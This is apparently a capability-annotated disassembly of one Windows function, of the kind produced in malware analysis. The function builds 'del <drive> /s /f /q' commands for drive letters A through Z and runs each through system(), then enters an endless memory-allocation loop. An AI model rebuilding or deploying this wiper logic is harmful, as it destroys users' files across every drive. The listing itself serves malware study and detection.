Function at 0x1400011c0
Capabilities:
Execute command
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor ebx, ebx
mov r13b, 0x41
lea edi, [rbx + 0xf]
mov edx, 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], rdx
mov qword [rbp - 0x39], rdi
movsx eax, r13b
movzx eax, al
mov byte [rbp - 0x51], al
mov byte [rbp - 0x50], 0
mov rax, rdi
sub rax, rdx
lea rcx, [rbp - 0x51]
cmp rax, 2
jb 0x140001253
lea rax, [rdx + 2]
mov qword [rbp - 0x41], rax
cmp rdi, 0xf
cmova rcx, qword [rbp - 0x51]
movzx eax, word [0x140003360]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], 0
lea rax, [rbp - 0x51]
jmp 0x14000126d
mov qword [rsp + 0x20], 2
lea r9, [0x140003360]
mov edx, 2
call fcn.140001610
movups xmm1, xmmword [rax]
movups xmmword [rbp - 0x31], xmm1
movups xmmword [rbp + 0xf], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm0
movups xmmword [rbp + 0x1f], xmm0
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp - 0x39]
cmp rdx, 0xf
jbe 0x1400012d2
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001587
call fcn.14000180c
movups xmm0, xmmword [rbp - 1]
movups xmm1, xmmword [rbp - 0x31]
mov qword [rbp - 0x41], rbx
mov qword [rbp - 0x39], rdi
mov byte [rbp - 0x51], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq rsi, xmm0
sub rax, rsi
cmp rax, 4
jb 0x1400015a9
lea r12, [rbp + 0xf]
psrldq xmm0, 8
movq rax, xmm0
mov qword [rbp - 0x31], rax
cmp rax, 0xf
seta byte [rbp - 0x79]
movq r14, xmm1
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
mov qword [rbp - 0x61], rbx
mov qword [rbp - 0x59], rbx
lea r15, [rsi + 4]
lea rbx, [rbp - 0x71]
cmp r15, 0xf
jbe 0x1400013c2
mov rdi, r15
or rdi, 0xf
mov qword [rbp - 1], rdi
cmp rdi, rcx
jbe 0x140001364
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000138e
mov eax, 0x16
mov qword [rbp - 1], rax
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400013ad
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000158e
mov rcx, rax
call fcn.1400017d0
test rax, rax
je 0x140001594
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400013be
test rcx, rcx
je 0x1400013bc
call fcn.1400017d0
mov rbx, rax
jmp 0x1400013be
xor ebx, ebx
mov qword [rbp - 0x71], rbx
mov qword [rbp - 0x61], r15
mov qword [rbp - 0x59], rdi
mov eax, dword [str.del]
mov dword [rbx], eax
lea rcx, [rbx + 4]
mov r8, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x61]
mov rdx, qword [rbp - 0x59]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x140001431
lea rax, [rcx + 0xc]
mov qword [rbp - 0x61], rax
lea rbx, [rbp - 0x71]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x71]
add rbx, rcx
mov r8d, 0xc
lea rdx, str..__s__f__q
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
lea rax, [rbp - 0x71]
jmp 0x14000144f
mov qword [rsp + 0x20], 0xc
lea r9, str..__s__f__q
mov edx, 0xc
lea rcx, [rbp - 0x71]
call fcn.140001610
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xor ebx, ebx
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], rbx
mov edi, 0xf
mov qword [rax + 0x18], rdi
mov byte [rax], bl
mov rdx, qword [rbp - 0x59]
cmp rdx, rdi
jbe 0x1400014b8
inc rdx
mov rcx, qword [rbp - 0x71]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001594
call fcn.14000180c
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x140001507
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000159b
call fcn.14000180c
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], rdi
mov byte [rbp - 0x21], 0
cmp byte [rbp - 0x79], 0
je 0x140001549
mov rdx, qword [rbp - 0x31]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x140001541
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400015a2
mov rcx, r14
call fcn.14000180c
inc r13b
cmp r13b, 0x5a
jle 0x1400011fa
nop word [rax + rax]
mov ebx, 0xf4240
mov ecx, 0x3d0900
call fcn.140001814
xor edx, edx
mov r8d, 0x3d0900
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
sub rbx, 1
jne 0x140001565
jmp 0x140001560
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001100
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011a0
int3